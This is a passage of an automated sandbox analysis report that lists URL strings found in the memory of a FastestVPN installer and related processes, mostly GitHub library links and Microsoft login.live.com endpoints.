    Source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2733933202.0000000004332000.00000002.00000001.01000000.0000003C.sdmp, is-2MRML.tmp.2.drString found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
    Source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/JamesNK/Newtonsoft.Jsond
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000000.1909332297.00000000000E2000.00000002.00000001.01000000.00000009.sdmp, FastestVPN.exe, 00000018.00000002.2752778482.0000000008762000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Outfitio/Outfit-Fonts)
    Source: powershell.exe, 00000020.00000002.1970402317.0000000004E52000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
    Source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000026.00000002.2049372193.0000000005192000.00000002.00000001.01000000.00000027.sdmpString found in binary or memory: https://github.com/SignalR/SignalR/tree/7f53f266daf1aad3dabb1b6d7a71d4c1501ec8dc
    Source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/SignalR/SignalR/tree/7f53f266daf1aad3dabb1b6d7a71d4c1501ec8dcd
    Source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2730435506.00000000041C2000.00000002.00000001.01000000.0000003B.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2729825927.0000000004192000.00000002.00000001.01000000.00000039.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2728641725.00000000040C2000.00000002.00000001.01000000.00000035.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2727873554.0000000004072000.00000002.00000001.01000000.00000034.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2729054082.00000000040F2000.00000002.00000001.01000000.00000037.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2731000369.0000000004242000.00000002.00000001.01000000.0000003A.sdmp, is-EDC5Q.tmp.2.dr, is-SIFEE.tmp.2.drString found in binary or memory: https://github.com/aspnet/AspNetKatana
    Source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/aspnet/AspNetKatanad
    Source: FastestVPN.exeString found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ff
    Source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742058301.00000000053C2000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f
    Source: FastestVPN.exe, 00000018.00000002.2742058301.00000000053C2000.00000002.00000001.01000000.00000012.sdmp, FastestVPN.exe, 00000018.00000002.2762361585.000000000B742000.00000002.00000001.01000000.00000031.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8
    Source: FastestVPN.exeString found in binary or memory: https://github.com/dotnet/corefx/tree/c6cf790234e
    Source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2761646832.000000000B6F2000.00000002.00000001.01000000.00000030.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/c6cf790234e063b855fcdb50f3fb1b3cfac73275
    Source: FastestVPN.exe, 00000018.00000002.2761646832.000000000B6F2000.00000002.00000001.01000000.00000030.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/c6cf790234e063b855fcdb50f3fb1b3cfac732758
    Source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742178071.00000000053D2000.00000002.00000001.01000000.00000010.sdmp, FastestVPN.exe, 00000018.00000002.2741953214.00000000053B2000.00000002.00000001.01000000.00000011.sdmp, FastestVPN.exe, 00000018.00000002.2741166241.0000000004F22000.00000002.00000001.01000000.0000000F.sdmp, is-FQ58N.tmp.2.drString found in binary or memory: https://github.com/dotnet/runtime
    Source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2762886148.000000000B9F2000.00000002.00000001.01000000.0000002E.sdmp, FastestVPN.exe, 00000018.00000002.2760532292.000000000B3F2000.00000002.00000001.01000000.0000002D.sdmp, FastestVPN.exe, 00000018.00000002.2763144416.000000000BA12000.00000002.00000001.01000000.0000002F.sdmp, is-G502V.tmp.2.drString found in binary or memory: https://github.com/ericsink/SQLitePCL.raw
    Source: FastestVPN.exe, 00000018.00000002.2763144416.000000000BA12000.00000002.00000001.01000000.0000002F.sdmp, is-G502V.tmp.2.drString found in binary or memory: https://github.com/ericsink/SQLitePCL.rawH
    Source: FastestVPN.exe, 00000018.00000002.2762886148.000000000B9F2000.00000002.00000001.01000000.0000002E.sdmpString found in binary or memory: https://github.com/ericsink/SQLitePCL.rawX
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmpString found in binary or memory: https://github.com/hardcodet/wpf-notifyicon
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmpString found in binary or memory: https://github.com/hardcodet/wpf-notifyicon.
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, is-2UQE3.tmp.2.drString found in binary or memory: https://github.com/novotnyllc/bc-csharp
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/tmenier/Flurl.git
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/tmenier/Flurl.git5
    Source: powershell.exe, 00000020.00000002.1970402317.0000000004EE0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2748399272.0000000005C62000.00000002.00000001.01000000.0000002A.sdmp, is-QIAH3.tmp.2.drString found in binary or memory: https://in.appcenter.ms
    Source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2748399272.0000000005C62000.00000002.00000001.01000000.0000002A.sdmp, is-QIAH3.tmp.2.drString found in binary or memory: https://in.appcenter.ms./logs?api-version=1.0.0
    Source: mnFHs2DuKg.exeString found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
    Source: svchost.exe, 0000002A.00000002.2723189245.000001B241A32000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
    Source: svchost.exe, 0000002A.00000002.2722071468.000001B240CDE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ApproveSession.srf
    Source: svchost.exe, 0000002A.00000003.1975015650.000001B241556000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&amp;id=80600
    Source: svchost.exe, 0000002A.00000003.1975015650.000001B241556000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&amp;id=80601
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974679467.000001B24156B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974679467.000001B24156B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
    Source: svchost.exe, 0000002A.00000003.1973821109.000001B24152C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974679467.000001B24156B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722700288.000001B24156D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ListSessions.srf
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApprover.srf
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageLoginKeys.srf
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageLoginKeys.srf.srf
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2723189245.000001B241A32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.2024173580.000001B241A31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srf
    Source: svchost.exe, 0000002A.00000002.2722071468.000001B240CDE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1997019702.000001B240CEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srf(
    Source: svchost.exe, 0000002A.00000003.1997019702.000001B240CEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srfA7826
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/didtou.srf
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getrealminfo.srf
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getuserrealm.srf
    Source: svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974679467.000001B24156B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974011479.000001B241510000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srfer
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974679467.000001B24156B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
    Source: svchost.exe, 0000002A.00000003.1974742410.000001B241527000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srff
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
    Source: svchost.exe, 0000002A.00000003.1974742410.000001B241527000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974679467.000001B24156B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974679467.000001B24156B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
    Source: svchost.exe, 0000002A.00000003.1974742410.000001B241527000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfX
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974679467.000001B24156B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
    Source: svchost.exe, 0000002A.00000003.1973821109.000001B24152C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974679467.000001B24156B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1975015650.000001B241556000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600UE
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974679467.000001B24156B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
    Source: svchost.exe, 0000002A.00000003.1973821109.000001B24152C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502R
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
    Source: svchost.exe, 0000002A.00000003.1975015650.000001B241556000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806015
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
    Source: svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
    Source: svchost.exe, 0000002A.00000003.1974546156.000001B241557000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
    Source: svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&amp;fid=cp
    Source: svchost.exe, 0000002A.00000003.1973821109.000001B24152C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974256996.000001B24155A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp8
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974290196.000001B241552000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1973821109.000001B241529000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srfom
    Source: svchost.exe, 0000002A.00000002.2721506071.000001B240C5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974011479.000001B241510000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
    Source: svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfLive
    Source: svchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/resetpw.srf
